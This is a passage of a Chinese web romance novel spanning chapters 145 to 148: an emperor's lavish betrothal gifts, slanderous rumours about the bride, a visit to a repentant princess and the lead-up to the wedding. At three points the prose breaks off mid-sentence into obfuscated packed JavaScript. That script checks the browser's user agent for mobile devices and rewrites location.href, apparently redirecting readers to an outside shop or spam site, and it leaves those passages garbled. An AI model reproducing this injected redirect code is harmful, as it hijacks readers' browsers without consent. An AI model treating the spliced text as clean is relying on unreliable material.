“看到头了!”有宾客惊喜道,“难道圣上给苏大小姐准备了五百一十二抬的聘礼吗!” 比当朝最高的规制高了足足三倍之多! 再回想那第一抬的姜山,哎哟,圣上只怕是恨不能把天上的太阳和月亮也都捞下来给苏大小姐做聘礼吧! “哎,不对,不是五百一十二抬!”有宾客仔细数了数,“不止,比五百一十二抬还多!” “啊?”有宾客傻眼了,婚嫁的聘礼和嫁妆,多则一百二十八抬,或是六十四抬;少则三十二抬,再少些十六抬也是有的,但也都是以其几何倍数为吉利。 可圣上这是个什么意思? 吉利数上面出了点零头,那可就不是吉利数了啊! 宾客们正费解着的功夫,聘礼终于过完了最后一抬,李公公情绪高涨:“聘礼合计五百二十一抬,望与苏国公府结两姓之好,一堂缔约!” 五百二十一抬?! 这是个什么意思? 不光不是吉利数,甚至连个双数都不是?! “难不成是陛下计数的时候记错了,把五百一十二记成了五百二十一?”有宾客小声道。 但随后身旁的宾客便瞪了他一眼:“想什么呢,就算是陛下记错了,你当整个礼部都是吃干饭的?” “这数目必然是陛下有意为之。” “那这数目是个什么意思啊?”宾客们纷纷小声议论着。 彼时,已经把嗓子念哑的李公公长舒了一口气,将手里的礼书与聘书递到苏若琳手中:“来,这是聘书和礼书,苏大小姐拿好。” 苏若琳珍重地接过聘书和礼书,将它们捧在怀中,一双秀丽的眼眸中早已热泪盈眶。 那个小子还记得她曾说过的那个寓意。 五百二十一,寓意着“我爱你”啊! 聘礼至此全部过完,没一会儿,盘盘珍馐佳肴便陆续被端了上来,院里热闹非凡。 菜过五味,宾客们便开始陆续离场。 等到人走得快差不多了,祝贤盛连忙把杨纨岚喊了过来。 彼时正在隔壁桌啃鸡腿的杨纨岚听见曾祖的呼唤,叼着嘴里的鸡腿就过来了:“蒸煮,肿么......” “把嘴里的肉咽下去再说话!”祝贤盛瞪了他一眼。 杨纨岚把嘴里的鸡腿骨拽了出来,又把嘴里的肉嚼巴嚼巴都咽进了肚子,这才疑惑地问道:“曾祖,怎么了?” “我问你。”张辅之盯着面前年岁不过二七,却已官任户部侍郎的少年,周身浮现出了不怒自威的气势,“陛下这五百二十一抬聘礼,有多少抬是用了国库的?” “啊?”杨纨岚傻眼了,呆呆地想了一下,答道,“零抬啊。” “呃不是。”他这才回过神来,“为什么你们觉得大哥的聘礼用了国库啊?” 祝贤盛皱着眉头反问道:“没有用国库,他哪来那么多钱!” 张辅之十分惊异:“你居然喊陛下大哥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14056782|123316||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?!” 他怎么敢跟圣上称兄道弟的! 杨纨岚意识到了自己说错了话,连忙岔开话题:“这些确实都是陛下自己的钱啊,户部一分没出。” “......真的?”两位老人狐疑地看着他。 要是真的国库一分钱没出,那陛下那些钱哪来的? “真的啊。”杨纨岚哭笑不得,“户部的进出款项都有记录在案,您两位要是不信可以去查啊。” 反正你俩一个左相一个右相,又不是没这权利。 张辅之沉吟了片刻,祝贤盛朝杨纨岚摆了摆手,放他回去了。 祝贤盛剜了皱眉思索的张辅之一眼:“聘礼全是皇帝从自己的内帑里出的,没用你们国库一分钱,这下你管不着了吧。” 张辅之回怼他:“什么叫‘你们国库’?合着你不是丞相了是吧?” 祝贤盛冷哼一声:“反正人家皇帝花的自己的钱,你管人家哪来的。” 甭管哪来的,现在都落他孙女的手里,那就都是他孙女的钱。 这两个文官中的清官,自然是不会知道,萧怀琳继承了宁安王府的王位,又平叛北疆突厥,攒下了多少钱财。 不过不得不说的是,为了准备出这五百二十一抬聘礼,也确实是扒下了萧怀琳的一层皮。 但是为了他的心上人,这钱他花得乐意。 千金难买佳人欢心。 最后等到所有人都离去,下人们开始收拾院子,而苏若琳则带着父母回了自己的院子。 彼时她的院子里已经被那五百二十一抬聘礼堆满了,更甚者还有一大半的聘礼院子里放不下,已经在院子外边摆出了几座小山。 苏泓笑着拍了拍就近的一个箱子:“若琳啊,等你出嫁那日,这些聘礼你都当作嫁妆一起带走。” “啊?全都带走吗,好歹也得留下点吧。”苏若琳看着这些堆成几座山的箱子,“嫁妆里好歹也有给您二老的养老钱啊。” 苏泓和苏母都笑了:“你这丫头,咱们苏家何时缺过钱?” “不缺是不缺,可这是我和怀琳给您二老的心意啊!”苏若琳抱着母亲撒娇道,“您二老多少也象征性地拿一点嘛。” 苏母不禁打趣道:“哟,你这丫头和圣上几时感情这般要好了?这都敢直接喊圣上的名讳了。” 苏若琳俏脸微红。 她和那小子感情何止是好啊,简直是“深厚”了...... “反正您和父亲留几抬嘛。” “好好好,那就留一抬。”苏泓宠溺地揉了揉女儿的头,“你原本带回来的那些嫁妆就有一百多抬,我和你母亲再添一些,也凑个一百二十八抬,给我闺女也来个十里红妆!” 伏在母亲肩头的苏若琳眨了眨眼。 那样的话,五百二十抬再加上一百二十八抬,一共足足有六百四十八抬,那可真是整整十里的红妆了。 不,远不止十里呢。 哇,她要发了呀! 因着丰厚的嫁妆和意中人的一片真心,苏若琳整日就跟泡在蜜罐子里一样,夜里苏若琳睡觉都是笑着睡的。 早上睡醒了以后,迷迷糊糊地刚想起这事,就开始傻笑,弄得全府上到苏泓苏母,下到小外甥还有红烛绿俏他们,都在打趣。 “知道自己要嫁人了,瞧着一天天乐得跟什么似的。” 可是她就是高兴啊! 有钱有权有高富帅,这不是妥妥的人生巅峰吗! 苏国公府一阵喜气洋洋,只是不知从何时起,大街上逐渐多了些不好的传言。 146. 流言 外边有传言,说是苏大小姐先前就嫁给了老安定侯,非完璧之身,根本配不上那皇后之位。 后来又说她就是因为年纪大,男女之事懂得多,又惯会花言巧语,才能哄骗才十七岁的圣上立她为后。 话说的是越来越难听,再后来居然变成了杨国公府的三位少爷连同继母一起蛊惑皇帝,这才让皇帝赐给他们高官厚禄。 各种传言众说纷纭,愈演愈烈,茶馆里、大街上,满京城都在说,最后甚至把她说成了祸国殃民的妲己。 苏若琳从绿俏口中听完了这一个比一个离谱的传言,笑得前仰后合。 “原来我这么厉害?” 苏母对此却是万分担心:“女儿家最重清誉,如今你却这般被人构陷,这可如何之好?” 绿俏小声道:“奴婢觉得,这种不着边际的话,应该没人会信吧?” 这还真未必。 对于这种漏洞百出的传言,稍微有点脑子的士族自然是不会信。 可是这些传言针对的显然是那些愚民百姓,没有文化,传出什么就信什么,就如同那些燎原的野草,稍微一点小小的星火就能煽动点燃。 苏大嫂不禁愤恨道:“也不知是哪个无耻下流之徒,居然这般蓄意诋毁我们女儿家的清誉。” 闻言,苏若琳却陷入了沉思。 这些传言表面看着是在针对她,但其实仔细一想便能明白,传言背后真正的目的其实是她的三个儿子。 他们兄弟三个皆年少入仕,又都身居高位,必然遭到了不少人的嫉恨。 那些人单从三个孩子身上找不出地方来攻讦,于是便用她嫁过人这件事作为突破点。 不过无所谓啊,这些传言就算闹得再大,也没什么用。 因为所有谣言的目的最后都是为了离间,离间皇帝和臣子,引起皇帝的疑心和猜忌。 若是此外还能引起杨国公府和苏国公府的反目,让他们斗得两败俱伤,那还真是意外之喜。 但是很不好意思,那位幕后主使即便是把她说成鬼魅,皇帝也是完全不会猜忌他们的呢~ 而她和几个儿子,也是绝对不会生嫌隙的。 那个幕后主使千算万算,利用人心,最后却也败给了人心啊。 苏若琳朝母亲和长嫂摆了摆手:“这种事不用理会。” 等时间久了,背后的人见到传谣丝毫不起作用,自然就会放弃。 敌人在暗她在明,若是费尽心思想要把幕后主使揪出来,反而容易自乱阵脚。 抱着这样的想法,外边的谣言就算是闹翻天了,苏若琳也每天该吃吃该睡睡,脸上丝毫不见愁苦。 苏母和苏大嫂见她这般没心没肺的模样,原本紧张的心倒是也宽慰了不少。 就这样又过了几日,到了临近大婚之日,外边又兴起了一则关于她的传言。 只不过这次并非构陷,反倒是某种澄清。 传言说,苏大小姐虽嫁给了老安定侯为妻,然老安定侯在迎娶苏大小姐前就被姨娘下毒,身患不举,不能人道,因此苏大小姐和老安定侯并无夫妻之实,苏大小姐仍是完璧。 这则传言比起先前那些听起来就很玄乎的谣言要真实了太多,也更加得可信。 然而苏若琳先前听到那些中伤她的谣言时,脸上都没有表现出不虞,如今听到这则传言,却是眉头紧锁。 这谣言说的太对了,太细节了,若非了解内情之人,必然传不出这样的话。 可是,老安定侯杨询当初被柳姨娘下毒一事,别说三个孩子了,就算是秋姨娘都不知道。 唯二知晓内情的,便是她自己,还有已经死掉的柳姨娘本人。 ……不对,还有一位。 老宁安王之女,怀琳同父异母的姐姐,又或者说……怀琳生母的闺中密友,安康郡主。 她这般想着,红烛适时递过来一张请帖:“小姐,安康郡主请您明日到府中小叙。” 苏若琳不禁失笑,真是说曹操曹操就到啊。 “安康郡主没说别的?” 算起来,安康郡主自四年前老宁安王身殒之后,就一直称病,闭门不出,也不接见任何人,一直病了四年多,直到现在。 几个月前怀琳的登基大典她也没来,而怀琳登基以后,也没有把她封做长公主。 这对姐弟似乎就当对方不存在一样。 红烛摇了摇头:“来递请帖的嬷嬷什么都没说。” 想来也是难怪。 安康郡主一心想要为被侵犯的闺蜜找到凶手,结果却发现凶手是她的亲生父亲,而往日她颇多照顾的好侄女,居然成了自己的弟弟。 真是有够戏剧性的。 这般想着,苏若琳点了点头:“行,这请帖我应下了。” 她倒也是挺好奇的,安康郡主找她能说些什么。 翌日,她特意起了个大早,一方面是因为要赴郡主的约,另一方面则因为明日便是大婚了,她今日还得准备许多事情。 等苏若琳来到了郡主府,居然是安康郡主贴身伺候嬷嬷出来迎她。 而她跟着嬷嬷进了府,也被里面的情形吓了一跳。 只见曾经金碧辉煌的府邸如今看起来竟萧条了许多,曾经满院种的各种芍药牡丹全都不见了,路过后花园,池子里的锦鲤也都不知所踪。 她跟着嬷嬷一路到了安康郡主的院子,等进了屋里,便见到正对着门口的墙壁上,居然摆着一尊玉佛。 而安康郡主一身素衣,未施粉黛,此刻就跪在玉佛前的软垫上,面朝着佛像双手合十,神情肃穆。 苏若琳不由得看愣住了。 从前的安康郡主可是锋芒毕露,衣裙皆是用的满京城最好的料子、最艳的颜色;身上戴的首饰必得是最为珍贵的红宝石,有一点杂色的都看不上;更不用说脸上精致且从未重复过的妆容,还有那盛气凌人的态度...... 如今的安康郡主和从前简直是判若两人。 她正愣着神,安康郡主已经礼完佛,扭过头看向她:“你来了。” 苏若琳点了点头。 随后安康郡主便缓缓站起身,往屋外走去:“跟我来吧。” 苏若琳跟着她走出了院子,一路来到了后花园的池子边——正是安康郡主四年前在郡主府开茶会时,带她单独来的那个池子。 而在池边,赫然已经放好了两把贵妃椅。 此情此景,几乎就和四年前一模一样,唯独那满花园的假山亭台皆已黯然失色,还有那满池的锦鲤也都不知所踪。 这一次,安康郡主自然不会再给她什么下马威了。 “坐吧。”安康郡主说着拍了拍身侧的椅子,自己先坐到了椅子上。 苏若琳随后也坐了下来。 看到身侧的人落了座,安康郡主仰起头望着明媚的天空,微微叹了一口气:“最近京城里的流言,你应该都知道了吧。” “都知道了。”苏若琳略微颔首,随后道,“我尚且是完璧之身的那条流言,是郡主放出去的吧?” “对,是我。”安康郡主点了点头,只是看着她那依旧淡定的模样,不由得笑了,“看你的样子,似乎是不需要我的帮忙啊。” 苏若琳也笑了,她刚要开口,便被安康郡主轻轻按住了肩膀。 “我知道,你的胆识是世间女子少有,若我猜的没错,你肯定是想着,反正身正不怕影子斜,别人说什么都与你无关,是吧?” 闻言,苏若琳无声地点了点头。 安康郡主无奈地叹了口气:“话虽如此,既然咱们的身子是正的,又何苦受那世人的非议呢?” 那倒也是。 苏若林略微颔首,含笑道:“那我便在此谢过郡主了。” 安康郡主回以微笑,末了又重新抬起头,看向那辽远的苍穹。 “我啊,这些年来,吃斋念佛,也想了很多,怀琳那孩子,他身世坎坷,受了那么多的苦,我不怪他。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14074228|123316||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >这话苏若琳就听不懂了。 “敢问郡主想要怪他什么呢?”苏若琳不禁反问道,“他前十三年在安定侯府吃尽了苦头,后来好不容易尝到了三个月的甜头,又被老宁安王找了回去。” 苏若琳竭力让自己的语气显得平稳镇定,可话到激动之处,声音仍旧是止不住地发颤。 “可他即便是回到了宁安王府,也没能过上一天好日子,郡主怕是没见过他身上的那些伤疤吧?他在宁安王受了整整三年的训练,日日生不如死。” “就这样,他还给老宁安王摔盆送终,还为了大楚江山豁出性命上战场。”苏若琳盯着安康郡主的眼睛,一字一顿地问道,“我想知道,郡主要怪他什么?” 见到她这般激动的模样,安康郡主一怔。 继而笑了出来:“看样子,你真的很关心他啊。” 话落,安康郡主顿了顿,低声道:“那很好。” “他在乎你,你也在乎他,这就再好不过了。”安康郡主含笑道,终究什么都没有解释。 过去那些罪孽,就让它都过去吧。 只管让她自己念佛赎罪,就够了。 苏若琳愣愣地看着安康郡主脸上露出一副恬静的神情,不禁感到惊异。 从前那般盛气凌人、不肯吃一点亏的人,如今也学会了退让。 两人有一搭没一搭地聊着,无非是她最近如何,怀琳最近又如何,京城最近又发生了什么事。 安康郡主这四年来一次府邸也没有出过,即便是当初京城被突厥入侵时,她也没有离开,因此对于京城最近发生的事,她几乎一无所知。 若不是这构陷苏若琳的谣言实在是铺天盖地,也不会被安康郡主知晓。 苏若琳好奇地问道:“当初京城被突厥侵入时,郡主为何不走?” 话落间,忽得一阵冷风吹来,吹乱了安康郡主鬓间的发丝。 她缓缓笑了:“宁与大楚共存亡,不做那前朝余孽。” 苏若琳看着她浅淡的笑容,眼眸微微颤动。 这也是一位识大义的女中豪杰啊。 寒暄过后,等到苏若琳将要离开的时候,她身后忽地传来了安康郡主的声音:“明日就是你和怀琳的大婚之日了吧?” “祝你们百年好合,早生贵子。” 苏若琳轻咳了一声,百年好合可以,早生贵子就不…… 呃不对,好像是需要,毕竟他们家确实是有皇位要继承。 出于对这位女中豪杰最后的尊敬,苏若琳转过身,朝着安康郡主行了一礼:“那我就代自己和怀琳谢过安康郡主了。” 等到今日之后,若是还有能机会再见面,怕是就要轮到安康郡主跟她行礼了。 苏若琳缓步出了郡主府,刚一踏出郡主府的大门,绿俏不禁在她身后小声道:“这安康郡主真是性情大变啊,从前初次和小姐见面时,郡主那个派头可不是一般的大。” 苏若琳缓缓笑了:“想来是遭逢了巨变,心境不同了吧。” 不然也不会皈依佛门了。 这般想着,苏若琳在绿俏的搀扶下上了马车,然后坐在榻板上伸了个懒腰。 她靠在软枕上找了一个舒服点的姿势,伸出手打了一个哈欠。 “走吧,咱们打道回府。” 明日大婚,她还得化妆、换嫁衣,今日也还有一堆繁琐的事情呢。 结婚真是麻烦啊。 不过......若是能和萧怀琳那个混蛋终成眷属,麻烦一点也就麻烦了。 苏若琳这般想着,夜里躺在榻上都是笑着入睡的。 睡着了以后她还做了一个美梦,梦见自己坐在金山银山上,萧怀琳那小子给她捏肩膀捶腿。 就在她要把那小子拉过来亲一口的时候,梦忽然醒了。 苏若琳忽地睁开眼,看见皎洁的月光透过窗户撒进屋内,落下一地白霜。 而在她的床头,正逆着月光站着一个人影,看着不甚清晰。 147. 迎亲 苏若琳瞪大双眼,刚要开口喊人,床头那人几乎是身形一闪,便来到了她面前,伸出手指按住了她的唇瓣:“嘘......是我。” 熟悉的声音落入耳畔,她原本紧张的心顿时就放松了下来。 萧怀琳? 她瞪了面前的少年郎一眼,他的侧脸逆着皎洁的月光,显得愈加温润。 “大半夜的你不睡觉,来我闺房吓什么人?” 萧怀琳那一张俊脸上闪烁着明媚的笑意,微微弯起的凤目里盛着万千星河,流光溢彩。 “我想来看看你。” 惊吓过后,再听到少年郎钟情的话语,苏若琳不禁失笑,心里也像打翻了蜜糖罐一般。 “明日便是迎亲日了,这都等不及?” 她说着起身下了榻,替少年郎将身上厚重的绒袍解下,居然摸到了一层雪棱。 “你冒着雪来的?!” 萧怀琳将心上人温软的娇躯拥入怀里,有些微凉的脸颊蹭着心上人的发顶,像只大猫一般,朝着他的心上人撒娇。 “我就是想你,多等一日,一个时辰,一刻钟,都等不及了。” 苏若琳认输地叹了口气,真是败给这人了。 等到大猫抱着自己的心上人好一通亲热,苏若琳无奈道:“明日大婚,就算你是皇帝用不着迎亲,也还有一大堆事要做呢,早点回去休息吧。” 大猫这才松开怀里的心上人,转而去牵起心上人的手,低着头小声问道:“若琳......我想问你一件事。” 苏若琳的一双素手被少年郎包裹在掌心里,少年郎的掌心暖暖的,也烘热了她的心。 “嗯,你问。” “就是......最近京城的流言,我都听说了。”少年郎那张原本白皙的脸颊渐渐地红了,声音也越来越小,“我,我想问问,你那晚,就是和我,做......做那种事的那晚,你是第一次吗?” 苏若琳诧异地看着面前双颊涨红的少年郎。 她有些难以置信,他居然也会在意这种事么? 不应该啊......她自认为自己对他已经算是很了解了,他不应该还会在意自己是不是第一次这种事啊。 苏若琳不禁反问他:“是又如何,不是又如何?” 难道我不是你就不喜欢我了? 然而面前少年郎听到这句话后,头却埋得更低了。 少年郎根本不敢直视心上人的目光,他低头看着心上人的素手被自己拢在掌心里,小声道:“就是,就是......” “我很早就听说,女子的第一次......都会很疼。”说这话时,少年郎的脸颊越来越红,红得甚至可以滴血,“你那夜,如果是第一次的话,我是不是弄疼你了?” 他那夜被下了药,人都已经神志不清了,动作上自是别想有丝毫的温柔和怜惜。 他不想让自己的心上人受到一丝一毫的伤害,更不用说这伤害竟然会是他亲手造成的。 听到他这一席话,苏若琳哑然失笑。 这傻小子哟...... 她抬起手捏了捏少年郎的脸颊,逗弄道:“确实是第一次,而且很疼,那怎么办呢?” 少年郎的眼中闪过一丝剧痛,握着心上人的那双手不由得收紧:“我,我......” 他要怎么办,他要怎么办? 少年郎的全身微微颤抖着,紧紧咬着下唇,一股铁锈味逐渐在口中弥漫。 他居然真的,真的伤害到自己的心上人了...... 随后,他那低垂的视线里便撞进了一张俏丽的脸颊,那脸颊凑到他的眼前,轻轻地吻了吻他脸颊和鼻尖,随后附到他的耳边轻声道:“骗你的啦,也没有很疼。” 他感觉到心上人将头靠在他的肩膀上,那两片诱人的唇瓣微微张开,发出了轻浅的笑声:“最开始确实有点疼,不过后来,还......” “还挺舒服的。”他听见自己的心上人这样道。 那双原本被痛苦所填满的眼眸顿时迸发出了一丝希冀,他的声音中都带着几分颤抖:“真......真的吗?” 心上人枕着他的肩膀微微点头,笑道:“真的。” 萧怀琳的那颗原本揪成一团的心顿时像被注入了暖流一般,逐渐地舒展开来,重新拥有了活力。 他将面前的心上人紧紧得拥入怀里,低声道:“那太好了......” 而此刻苏若琳的心里,早已被感动得融化了。 她想,她上辈子、这辈子、下辈子,怕是都不会再遇到像面前人这般好的爱人了。 “怀琳。”她在少年郎的怀里轻声呢喃着,“我爱你。” 怀抱着她的身躯猛地一颤。 下一刻,面前的那张俊脸便凑到了她的眼前,低头吻住了她的唇瓣。 独属于少年郎的气息混杂着他常用的熏香气味,铺天盖地地朝她袭来,进入她的体内,沁入了她的五脏六腑。 最后来到了她的心里,深深地扎下了根,又被名为爱意的甘泉滋润,开始萌发出生机勃勃的嫩芽。 少年郎粗糙的舌头在她的口中轻柔地掠过,带着她的舌头一起卷入了自己的口中。 然后慢慢地、轻轻地,吮吸着她娇嫩的舌头。 他的心上人就像那久旱中的甘霖,滋润着他枯萎的、绝望的心灵,给予他继续活下去、走下去的希望。 待到这个满怀爱意的吻过后,少年郎又缱绻地继续轻吻着心上人的脸颊,秀丽的眼眸中满是痴情。 苏若琳微微喘着气,娇嗔地骂了一声:“笨蛋。” “我是笨蛋。”萧怀琳笑得幸福。 他是若琳永远的笨蛋。 两人又亲昵地痴缠了许久,直到苏若琳不由自主地打了个哈欠,秀丽的脸上重新浮现出了困意。 “唔......”她揉了揉眼睛,声音都有了些许含糊,“你该回去了。” “好。”望着心上人睡眼惺忪的面容,萧怀琳的脸上不禁露出了温柔的笑意。 随后他微微俯下身,竟直接将心上人了横抱起来。 苏若琳被吓了一跳,使劲抵住舌头才没让自己尖叫出声。 她拍了拍少年郎的脸,脸上有些羞怒:“你干什么啊!” 而萧怀琳只是笑着,将她放到了榻上,脱下她的鞋,然后替她仔细地盖好被子。 最后,他坐在了心上人的榻前,牵起心上人的手,轻声道:“我守着你睡,等你睡着了我再离开。” 苏若琳原本脸上的羞愤顿时只剩下了羞。 她微微红着脸轻笑了一声:“嗯。” 而后缓缓闭上了眼睛。 许是意中人在侧的缘故,没过片刻,她便沉沉地睡着了。 而她面前的萧怀琳察觉到心上人的呼吸渐渐平稳,将握着的心上人的那只玉手举到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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天子万金之躯,本不应降贵纡尊去接亲,只需到皇宫门前等候着女方将新娘子送来即可。 当初萧怀琳和礼官聊到迎亲这一流程的时候,礼官就是这么说的。 随后萧怀琳摇了摇头:“不,我去迎亲。” 这可把礼官给吓坏了,连忙跪下道:“陛下,不可啊!” “这迎亲路上万一有刺客行刺,您有个什么闪失可怎么办!” “不会有闪失。”萧怀琳的神色淡淡的,可语气却充斥着不容置疑,“我亲自去迎亲,就这么办。” “那,那......”礼官摸了一把额头的冷汗,最后决定略微折中一下,“好歹派禁军跟在迎亲的队伍里,护卫陛下的安全。” 萧怀琳的眼中闪过一丝不耐。 哪来那么多刺客? 禁军里的那帮人身上几乎都带着一股杀气,平日里也不知道收敛,跟在迎亲的队伍里不显得晦气? 最后他摆了摆手:“你先下去吧,我和禁军统领商议一下。” 然后萧怀琳就唤来了杨纨玦,跟他说了这事,随后笑着问他:“你要不要跟在迎亲的队伍里,护送若琳进宫?” 杨纨玦果断摇头:“不要。” 148. 桃之夭夭 萧怀琳不禁反问道:“为什么?” 他居然不愿意? 只是随后杨纨玦沉吟了片刻,缓缓道:“等明日,明日过后我给你答复。” “嗯?”萧怀琳那双俊秀的眉头一挑,“怎么?” 这小子肯定有事。 杨纨玦低头看着自己的手指,微微叹了口气:“明日我和纨枫纨岚抽签,谁赢了谁背母亲上花轿。” 原来,当初在第四礼纳征过后,三兄弟就不约而同地想到了六礼最后的迎亲。 迎亲礼里面有一项,是女方家的男子背新娘子上花轿。 虽然说新娘子上花轿一般是兄弟背,可若是情况特殊,由兄弟之外的男子背也没问题。 尽管母亲离开了杨国公府,他们不能作为女方的亲戚送嫁,可若是和外祖说一下,背母亲上花轿应是没问题的。 于是翌日,杨纨玦特意抽空来到了苏国公府,找到外祖商谈这事。 然而他没想到的是,杨纨枫已经到了。 彼时杨纨枫也刚好和苏泓说完这事,苏泓也正要答应,结果杨纨玦就来了。 于是兄弟见面,分外眼红。 最后苏泓笑着摆了摆手:“这事你们兄弟俩商量,回头告诉我结果就行。” 兄弟俩刚要离开,结果杨纨岚这小子也蹦着来了:“外祖外祖,我来找您说件事!” 然后他就看到两个兄长面色不善地盯着他。 杨纨玦盯着他,话里话外透露出一股敌意:“今日又不是休沐,你翘班来找外祖干什么?” “呃......我来找外祖问问背母亲上花轿的事。”杨纨岚这孩子实诚道,“再说我也不是翘班,我告假了啊。” 杨纨枫冷笑了一声:“你来晚了,背母亲上花轿已经没你的事了。” “啊?”杨纨岚顿时傻眼了,“那,那外祖已经决定好了?” 他说着看向苏泓:“外祖,迎亲那日谁背母亲上花轿啊?” 苏泓笑着喝了口茶,不说话。 杨纨玦和杨纨枫紧紧地盯着对方,两人之间的气氛逐渐剑拔弩张。 “哦~我知道了!”杨纨岚一拍脑袋,指着面前的修罗场道,“所以背母亲上花轿这事其实还没决定好,你俩今日翘班来也是为了这事!” 他当即举起手:“那我也要参与竞争!” 大家都是兄弟,都是母亲的儿子,最后鹿死谁手还不一定呢! 最后三兄弟只好一起离开苏国公府,自己私底下商量好了再来。 本来为了不打草惊蛇,三人都是走着来的,都没有坐马车,如今回去,自然也得走着回去。 如今这都快到腊月底了,外边冷得要命,不过好在今日天气很好,阳光照在身上多了几分暖意。 只是杨纨玦和杨纨枫面色阴沉地走在前面,两人无形之中迸发出了两股森寒的气场,杨纨岚在后边缩了缩脖子。 他从前怎么没觉得自己的两位兄长这么可怕? 兄弟三个沉默地走在半路上,忽地,杨纨玦开口道:“我是母亲的长子,也是家中长兄,背母亲上花轿这事自然要由我来。” “兄长怕不是忘了,你原本是生母秋姨娘名下的,是后来才改记到的母亲名下。”杨纨枫丝毫地不客气地回怼他。 杨纨玦不虞道:“要论记到母亲名下,你也不过只比我早了一个月罢了,有何区别?” “自然有。”杨纨枫的话语铿锵有力,“我从小到大都不知道自己的生母是谁,是母亲养育了我,我就是母亲的亲儿子。” “可是兄长呢?”他朝着自家兄长冷笑了一声,“秋姨娘还在国公府等着咱们回去呢。” 见自家弟弟这么不留情面,杨纨玦也不必客气了:“母亲也不过是四年前才把你从柴房里领出来的,论起被母亲照拂的时日,咱俩差不了多少。” 两人之间的气氛越来越剑拔弩张,这时,一直跟在他们身后瑟瑟发抖的杨纨岚终于鼓起勇气道:“那我也......” 话才说一半,便被两个兄长异口同声地喝了回去:“在外边杳无音信,害母亲担心了几个月的不孝子没这资格!” 不孝子颤颤巍巍地缩回了脖子。 “兄长也说了,从前我是在柴房里长大的。”杨纨枫定定地看着眼前的兄长,俊俏的脸上浮现出了一个讽刺的笑容,“我从小吃的是糟糠剩饭,穿的是破布粗麻,生了病发了烧,从来没有人管过。” 他缓缓道:“母亲对我的养育之恩大过于天,所以这背母亲上花轿一事,自然得是我来。” 杨纨玦一噎,握紧拳头不说话。 对于这两个弟弟,确实是杨国公府欠他们的。 在这一方面,他无从辩驳。 可是他也实在不想把这名额让出来。 兄弟两人相对无言,最后杨纨岚一拍大腿:“我想到了一个好办法!” 他说着凑到两个兄长中间:“这样,咱们回头抽签决定,抽到谁就让谁来背母亲!” “这样对谁都公平,怎么样!” 两个兄长陷入了沉默。 这确实是个方法。 可是抽签让谁来主持呢?他们必须得找一个彼此都信得过,不会在抽签上做手脚,也不会偏袒任何人的人。 最后三个兄弟回了杨国公府,找到了秋姨娘。 彼时杨婉莹正在秋姨娘身边学刺绣,一听兄长们这么说,当即举起手:“我来我来!我来给兄长们作见证!” 而杨纨绫正在一旁抱着零嘴啃,听到兄长们说要背母亲上花轿,他举起自己的小肉手:“我也想背母亲上花轿。” 众人都乐了,他那三个原本剑拔弩张的兄长们,脸上也不由得露出了一丝笑意。 秋姨娘笑着让丫鬟把杨纨绫抱过来:“哎哟,这可不行。” “为什么不行?”杨纨绫瘪了瘪嘴,小小的脸蛋皱成一团,“明明哥哥们都可以。” “那是因为哥哥们大了,而且都长得高啊。”秋姨娘说着把杨纨绫放到自己的腿上,刮了刮他的小鼻子,“你想啊,哥哥们身高体壮,所以才能背得动母亲,你才这么点,背得动吗?” 杨纨绫撅着嘴摇了摇头:“背不动。” 何止背不动啊,他走路走久了还要母亲抱呢。 “所以说啊。”秋姨娘笑着揉了揉他的头,“纨绫现在还太小,背母亲上花轿的事让哥哥们来,好不好?” “你们老是说我小。”杨纨绫不高兴地叉着腰,“那我什么时候才能长大啊?” 这人小鬼大的模样把众人乐得够呛,杨纨岚笑得前仰后合。 最后秋姨娘道:“再等个十来年吧,等你长到哥哥们这么大的时候就可以了。” “十来年?”杨纨绫愁眉苦脸,“那也太久了,我现在才不到五岁啊。” “那若是你嫌太久了,再过五年也行。”秋姨娘笑着安慰腿上的奶团子,等你长到姐姐那么大的时候也行。” “唔,那好吧。”杨纨绫说着扑进了姐姐杨婉莹的怀里,“那我要和姐姐一起做抽签,给哥哥们见证!” “好呀好呀!”杨婉莹抱着香香软软的弟弟,“那就这么决定了,我和纨绫做签子,等三日后,兄长们散值以后来我院子!” 于是这件事就这么愉快地决定了。 萧怀琳听完弟弟的讲述,不禁哑然失笑。 他从来没见过自己的这几个弟弟有过什么矛盾,结果第一次针锋相对,居然是因为这事。 真有意思。 “那行。”最后萧怀琳含笑道,“你们三个抽签,赢的那个背若琳上花轿,输的两个跟着我去迎亲。” 也省得安排禁军里那帮看着就凶神恶煞的大老粗进来。 于是最后迎亲的名单交到礼官手里的时候,他看着那里边两个高官的名字,差点没晕过去。 我的陛下啊! 让您安排人是为了万一有刺客,有人保护您,不是让刺客杀一还送二啊! 但是迎亲的名单已经定了,看陛下的样子,是完全不打算再改了,礼官就算再不同意也没辙。 此时此刻,礼官彻底理解了那个为陛下准备聘礼的同僚。 他觉得等他安排完陛下的迎亲以后,也得告假病上几个月。 话会迎亲当日,苏若琳惊讶地看着绿俏,萧怀琳居然亲自来迎亲了?! 红烛笑着应道:“是陛下亲自来的,如今陛下正在大门外等着呢!” 